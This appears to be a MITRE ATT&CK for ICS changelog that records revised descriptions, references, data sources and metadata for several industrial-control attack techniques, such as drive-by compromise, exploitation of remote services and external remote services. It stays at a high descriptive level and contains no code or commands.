| description | Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. (Citation: Alert - CISA TA18-074A) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites. | Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. (Citation: Cybersecurity & Infrastructure Security Agency March 2018) Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T817 | https://attack.mitre.org/techniques/T0817 |
| external_references[1]['source_name'] | Alert - CISA TA18-074A | Cybersecurity & Infrastructure Security Agency March 2018 |
| external_references[1]['description'] | NCAS. (2018, March 15). Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 11, 2019. | Cybersecurity & Infrastructure Security Agency 2018, March 15 Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors Retrieved. 2019/10/11 |
| external_references[1]['url'] | https://www.us-cert.gov/ncas/alerts/TA18-074A | https://us-cert.cisa.gov/ncas/alerts/TA18-074A |
| x_mitre_data_sources[0] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Network device logs | File: File Creation |
| x_mitre_data_sources[2] | process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Web proxy | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[4] | SSl/TLS inspection | Process: Process Creation |
| x_mitre_platforms[0] | Windows | None |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network intrusion detection system |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to leverage Application Program Inte | t | 1 | Adversaries may attempt to leverage Application Program Inte |
| > | rfaces (APIs) used for communication between control softwar | > | rfaces (APIs) used for communication between control softwar | ||
| > | e and the hardware. Specific functionality is often coded in | > | e and the hardware. Specific functionality is often coded in | ||
| > | to APIs which can be called by software to engage specific f | > | to APIs which can be called by software to engage specific f | ||
| > | unctions on a device or other software, such as <span class= | > | unctions on a device or other software. | ||
| > | "smw-format list-format "><span class="smw-row"><span class= | ||||
| > | "smw-field"><span class="smw-value">Change Program State</sp | ||||
| > | an></span></span></span> of a program on a PLC. | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.918000+00:00 |
| description | Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software, such as Change Program State of a program on a PLC. | Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T871 | https://attack.mitre.org/techniques/T0871 |
| x_mitre_data_sources[0] | API monitoring | Module: Module Load |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to exploit public-facing application | t | 1 | Adversaries may leverage weaknesses to exploit internet-faci |
| > | s to leverage weaknesses on Internet-facing computer systems | > | ng software for initial access into an industrial network. I | ||
| > | , programs, or assets in order to cause unintended or unexpe | > | nternet-facing software may be user applications, underlying | ||
| > | cted behavior. These public-facing applications may include | > | networking implementations, an assets operating system, wea | ||
| > | user interfaces, software, data, or commands. In particular, | > | k defenses, etc. Targets of this technique may be intentiona | ||
| > | a public-facing application in the IT environment may provi | > | lly exposed for the purpose of remote management and visibil | ||
| > | de adversaries an interface into the OT environment. ICS-C | > | ity. An adversary may seek to target public-facing applica | ||
| > | ERT analysis has identified the probable initial infection v | > | tions as they may provide direct access into an ICS environm | ||
| > | ector for systems running GE’s Cimplicity HMI with a direct | > | ent or the ability to move into the ICS network. Publicly ex | ||
| > | connection to the Internet. (Citation: ICS CERT 14-281) | > | posed applications may be found through online tools that sc | ||
| > | an the internet for open ports and services. Version numbers | ||||
| > | for the exposed application may provide adversaries an abil | ||||
| > | ity to target specific known vulnerabilities. Exposed contro | ||||
| > | l protocol or remote access ports found in Commonly Used Por | ||||
| > | t may be of interest by adversaries. | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.919000+00:00 |
| description | Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE’s Cimplicity HMI with a direct connection to the Internet. (Citation: ICS CERT 14-281) | Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility. An adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T819 | https://attack.mitre.org/techniques/T0819 |
| x_mitre_data_sources[0] | Web logs | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Windows | Human-Machine Interface |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application logs | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit a software vulnerability to take adv | t | 1 | Adversaries may exploit a software vulnerability to take adv |
| > | antage of a programming error in a program, service, or with | > | antage of a programming error in a program, service, or with | ||
| > | in the operating system software or kernel itself to evade d | > | in the operating system software or kernel itself to evade d | ||
| > | etection. Vulnerabilities may exist in software that can be | > | etection. Vulnerabilities may exist in software that can be | ||
| > | used to disable or circumvent security features. Adversarie | > | used to disable or circumvent security features. Adversarie | ||
| > | s may have prior knowledge through <span class="smw-format l | > | s may have prior knowledge through [Remote System Informatio | ||
| > | ist-format "><span class="smw-row"><span class="smw-field">< | > | n Discovery](https://attack.mitre.org/techniques/T0888) abou | ||
| > | span class="smw-value">Control Device Identification</span>< | > | t security features implemented on control devices. These de | ||
| > | /span></span></span> about security features implemented on | > | vice security features will likely be targeted directly for | ||
| > | control devices. These device security features will likely | > | exploitation. There are examples of firmware RAM/ROM consist | ||
| > | be targeted directly for exploitation. There are examples of | > | ency checks on control devices being targeted by adversaries | ||
| > | firmware RAM/ROM consistency checks on control devices bein | > | to enable the installation of malicious [System Firmware](h | ||
| > | g targeted by adversaries to enable the installation of mali | > | ttps://attack.mitre.org/techniques/T0857). | ||
| > | cious System Firmware | ||||
New Mitigations:
Dropped Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Detonation chamber', 'Malware reverse engineering'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.919000+00:00 |
| description | Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware | Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through [Remote System Information Discovery](https://attack.mitre.org/techniques/T0888) about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious [System Firmware](https://attack.mitre.org/techniques/T0857). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T820 | https://attack.mitre.org/techniques/T0820 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may exploit a software vulnerability to take adv | t | 1 | Adversaries may exploit a software vulnerability to take adv |
| > | antage of a programming error in a program, service, or with | > | antage of a programming error in a program, service, or with | ||
| > | in the operating system software or kernel itself to enable | > | in the operating system software or kernel itself to enable | ||
| > | remote service abuse. A common goal for post-compromise expl | > | remote service abuse. A common goal for post-compromise expl | ||
| > | oitation of remote services is for lateral movement to enabl | > | oitation of remote services is for initial access into and l | ||
| > | e access to a remote system. (Citation: EAttack Exploitation | > | ateral movement throughout the ICS environment to enable acc | ||
| > | of Remote Services) ICS asset owners and operators have be | > | ess to targeted systems. (Citation: Enterprise ATT&CK) ICS | ||
| > | en affected by ransomware (or disruptive malware masqueradin | > | asset owners and operators have been affected by ransomware | ||
| > | g as ransomware) migrating from enterprise IT to ICS environ | > | (or disruptive malware masquerading as ransomware) migrating | ||
| > | ments: WannaCry, NotPetya, and BadRabbit. In each of these c | > | from enterprise IT to ICS environments: WannaCry, NotPetya, | ||
| > | ases, self-propagating (“wormable”) malware initially infect | > | and BadRabbit. In each of these cases, self-propagating (wo | ||
| > | ed IT networks, but through exploit (particularly the SMBv1- | > | rmable) malware initially infected IT networks, but through | ||
| > | targeting MS17-010 vulnerability) spread to industrial netwo | > | exploit (particularly the SMBv1-targeting MS17-010 vulnerabi | ||
| > | rks, producing significant impacts. (Citation: Reference - D | > | lity) spread to industrial networks, producing significant i | ||
| > | ragos - 201910) | > | mpacts. (Citation: Joe Slowik April 2019) | ||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.922000+00:00 |
| description | Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. (Citation: EAttack Exploitation of Remote Services) ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Reference - Dragos - 201910) | Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for initial access into and lateral movement throughout the ICS environment to enable access to targeted systems. (Citation: Enterprise ATT&CK) ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (wormable) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts. (Citation: Joe Slowik April 2019) |
| kill_chain_phases[0]['phase_name'] | lateral-movement-ics | initial-access-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T866 | https://attack.mitre.org/techniques/T0866 |
| external_references[1]['source_name'] | EAttack Exploitation of Remote Services | Enterprise ATT&CK |
| external_references[1]['description'] | Enterprise ATT&CK. (n.d.). Exploitation of Remote Services. Retrieved October 27, 2019. | Enterprise ATT&CK Exploitation of Remote Services Retrieved. 2019/10/27 |
| external_references[2]['source_name'] | Reference - Dragos - 201910 | Joe Slowik April 2019 |
| external_references[2]['description'] | Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019. | Joe Slowik 2019, April 10 Implications of IT Ransomware for ICS Environments Retrieved. 2019/10/27 |
| x_mitre_data_sources[0] | Windows error reporting | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'lateral-movement-ics'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external remote services as a point | t | 1 | Adversaries may leverage external remote services as a point |
| > | of initial access into your network. These services allow u | > | of initial access into your network. These services allow u | ||
| > | sers to connect to internal network resources from external | > | sers to connect to internal network resources from external | ||
| > | locations. Examples are VPNs, Citrix, and other access mecha | > | locations. Examples are VPNs, Citrix, and other access mecha | ||
| > | nisms. Remote service gateways often manage connections and | > | nisms. Remote service gateways often manage connections and | ||
| > | credential authentication for these services. (Citation: EAt | > | credential authentication for these services. (Citation: Dan | ||
| > | tack External Remote Services) External remote services all | > | iel Oakley, Travis Smith, Tripwire) External remote service | ||
| > | ow administration of a control system from outside the syste | > | s allow administration of a control system from outside the | ||
| > | m. Often, vendors and internal engineering groups have acces | > | system. Often, vendors and internal engineering groups have | ||
| > | s to external remote services to control system networks via | > | access to external remote services to control system network | ||
| > | the corporate network. In some cases, this access is enable | > | s via the corporate network. In some cases, this access is e | ||
| > | d directly from the internet. While remote access enables ea | > | nabled directly from the internet. While remote access enabl | ||
| > | se of maintenance when a control system is in a remote area, | > | es ease of maintenance when a control system is in a remote | ||
| > | compromise of remote access solutions is a liability. The a | > | area, compromise of remote access solutions is a liability. | ||
| > | dversary may use these services to gain access to and execut | > | The adversary may use these services to gain access to and e | ||
| > | e attacks against a control system network. Access to valid | > | xecute attacks against a control system network. Access to v | ||
| > | accounts is often a requirement. As they look for an entry | > | alid accounts is often a requirement. As they look for an | ||
| > | point into the control system network, adversaries may begi | > | entry point into the control system network, adversaries may | ||
| > | n searching for existing point‐to‐point VPN implementations | > | begin searching for existing pointtopoint VPN implementatio | ||
| > | at trusted third party networks or through remote support em | > | ns at trusted third party networks or through remote support | ||
| > | ployee connections where split tunneling is enabled. (Citati | > | employee connections where split tunneling is enabled. (Cit | ||
| > | on: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the | > | ation: Electricity Information Sharing and Analysis Center; | ||
| > | adversary was able to gain remote computer access to the sy | > | SANS Industrial Control Systems March 2016) In the Maroochy | ||
| > | stem over radio. The 2015 attack on the Ukranian power grid | > | Attack, the adversary was able to gain remote computer acce | ||
| > | showed the use of existing remote access tools within the e | > | ss to the system over radio. | ||
| > | nvironment to access the control system network. The adversa | ||||
| > | ry harvested worker credentials, some of them for VPNs the g | ||||
| > | rid workers used to remotely log into the control system net | ||||
| > | works. (Citation: Ukraine15 - Zetter, Kim) (Citation: Ukrain | ||||
| > | e15 - EISAC - 201603) (Citation: Ukraine15 - ICSCERT) (Citat | ||||
| > | ion: Ukraine15 - Fireeye) The VPNs into these networks appea | ||||
| > | r to have lacked two‐factor authentication. (Citation: Ukrai | ||||
| > | ne15 - EISAC - 201603) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.923000+00:00 |
| description | Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. (Citation: EAttack External Remote Services) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point‐to‐point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. (Citation: Ukraine15 - EISAC - 201603) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukranian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for VPNs the grid workers used to remotely log into the control system networks. (Citation: Ukraine15 - Zetter, Kim) (Citation: Ukraine15 - EISAC - 201603) (Citation: Ukraine15 - ICSCERT) (Citation: Ukraine15 - Fireeye) The VPNs into these networks appear to have lacked two‐factor authentication. (Citation: Ukraine15 - EISAC - 201603) | Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. (Citation: Daniel Oakley, Travis Smith, Tripwire) External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing pointtopoint VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. (Citation: Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016) In the Maroochy Attack, the adversary was able to gain remote computer access to the system over radio. |
| kill_chain_phases[0]['phase_name'] | lateral-movement-ics | initial-access-ics |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T822 | https://attack.mitre.org/techniques/T0822 |
| external_references[1]['source_name'] | EAttack External Remote Services | Daniel Oakley, Travis Smith, Tripwire |
| external_references[1]['description'] | Daniel Oakley, Travis Smith, Tripwire. (n.d.). Retrieved May 30, 2018. | Daniel Oakley, Travis Smith, Tripwire Retrieved. 2018/05/30 |
| external_references[2]['source_name'] | Ukraine15 - Zetter, Kim | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016 |
| external_references[2]['description'] | Zetter, Kim. (2016, March 03). INSIDE THE CUNNING, UNPRECEDENTED HACK OF UKRAINE'S POWER GRID. Retrieved March 8, 2019. | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems 2016, March 18 Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/ | https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt6a77276749b76a40/607f235992f0063e5c070fff/E-ISAC_SANS_Ukraine_DUC_5%5b73%5d.pdf |
| x_mitre_data_sources[0] | Authentication logs | Application Log: Application Log Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Logon Session: Logon Session Metadata | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
| STIX Field | Old value | New Value |
|---|---|---|
| kill_chain_phases | {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'} | |
| external_references | {'source_name': 'Ukraine15 - ICSCERT', 'description': 'ICS-CERT. (2016, February 25). Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved March 8, 2019.', 'url': 'https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01'} | |
| external_references | {'source_name': 'Ukraine15 - Fireeye', 'description': 'John Hultquist. (2016, January 07). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved March 8, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html'} | |
| external_references | {'source_name': 'Ukraine15 - EISAC - 201603', 'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'} | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to gain access to a machine via a Gr | t | 1 | Adversaries may attempt to gain access to a machine via a Gr |
| > | aphical User Interface (GUI) to enhance execution capabiliti | > | aphical User Interface (GUI) to enhance execution capabiliti | ||
| > | es. Access to a GUI allows a user to interact with a compute | > | es. Access to a GUI allows a user to interact with a compute | ||
| > | r in a more visual manner than a CLI. A GUI allows users to | > | r in a more visual manner than a CLI. A GUI allows users to | ||
| > | move a cursor and click on interface objects, with a mouse a | > | move a cursor and click on interface objects, with a mouse a | ||
| > | nd keyboard as the main input devices, as opposed to just us | > | nd keyboard as the main input devices, as opposed to just us | ||
| > | ing the keyboard. If physical access is not an option, then | > | ing the keyboard. If physical access is not an option, then | ||
| > | access might be possible via protocols such as VNC on Linux | > | access might be possible via protocols such as VNC on Linux | ||
| > | -based and Unix-based operating systems, and RDP on Windows | > | -based and Unix-based operating systems, and RDP on Windows | ||
| > | operating systems. An adversary can use this access to execu | > | operating systems. An adversary can use this access to execu | ||
| > | te programs and applications on the target machine. In the | > | te programs and applications on the target machine. In the | ||
| > | 2015 attack on the Ukrainian power grid, the adversary utili | > | Oldsmar water treatment attack, adversaries utilized the ope | ||
| > | zed the GUI of HMIs in the SCADA environment to open breaker | > | rator HMI interface through the graphical user interface. Th | ||
| > | s. (Citation: Ukraine15 - EISAC - 201603) Detection: Detect | > | is action led to immediate operator detection as they were a | ||
| > | ion of execution through the GUI will likely lead to signifi | > | ble to see the adversary making changes on their screen. (Ci | ||
| > | cant false positives. Other factors should be considered to | > | tation: Pinellas County Sheriffs Office February 2021) | ||
| > | detect misuse of services that can lead to adversaries gaini | ||||
| > | ng access to systems through interactive remote sessions. | ||||
| > | Unknown or unusual process launches outside of normal behavi | ||||
| > | or on a particular system occurring through remote interacti | ||||
| > | ve sessions are suspicious. Collect and audit security logs | ||||
| > | that may indicate access to and use of Legitimate Credential | ||||
| > | s to access remote systems within the network. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.924000+00:00 |
| description | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers. (Citation: Ukraine15 - EISAC - 201603) Detection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. Unknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network. | Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Pinellas County Sheriffs Office February 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T823 | https://attack.mitre.org/techniques/T0823 |
| external_references[1]['source_name'] | Ukraine15 - EISAC - 201603 | Pinellas County Sheriffs Office February 2021 |
| external_references[1]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Pinellas County Sheriffs Office 2021, February 8 Treatment Plant Intrusion Press Conference Retrieved. 2021/10/08 |
| external_references[1]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://www.youtube.com/watch?v=MkXDSOgLQ6M |
| x_mitre_data_sources[0] | File monitoring | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Process monitoring | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Binary file metadata | |
| x_mitre_platforms | Windows |
Current version: 1.0
Version changed from: 0.0 → 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may hook into application programming interface | t | 1 | Adversaries may hook into application programming interface |
| > | (API) functions used by processes to redirect calls for pers | > | (API) functions used by processes to redirect calls for exec | ||
| > | istent means. Windows processes often leverage these API fun | > | ution and privilege escalation means. Windows processes ofte | ||
| > | ctions to perform tasks that require reusable system resourc | > | n leverage these API functions to perform tasks that require | ||
| > | es. Windows API functions are typically stored in dynamic-li | > | reusable system resources. Windows API functions are typica | ||
| > | nk libraries (DLLs) as exported functions. (Citation: EAttac | > | lly stored in dynamic-link libraries (DLLs) as exported func | ||
| > | k Hooking) One type of hooking seen in ICS involves redirec | > | tions. (Citation: Enterprise ATT&CK) One type of hooking se | ||
| > | ting calls to these functions via import address table (IAT) | > | en in ICS involves redirecting calls to these functions via | ||
| > | hooking. IAT hooking uses modifications to a process’s IAT, | > | import address table (IAT) hooking. IAT hooking uses modific | ||
| > | where pointers to imported API functions are stored. (Citat | > | ations to a processs IAT, where pointers to imported API fun | ||
| > | ion: Stuxnet - Symantec - 201102) | > | ctions are stored. (Citation: Nicolas Falliere, Liam O Murch | ||
| > | u, Eric Chien February 2011) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_domains | ['ics-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_version | 1.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-21 17:43:26.506000+00:00 | 2022-05-06 17:47:23.926000+00:00 |
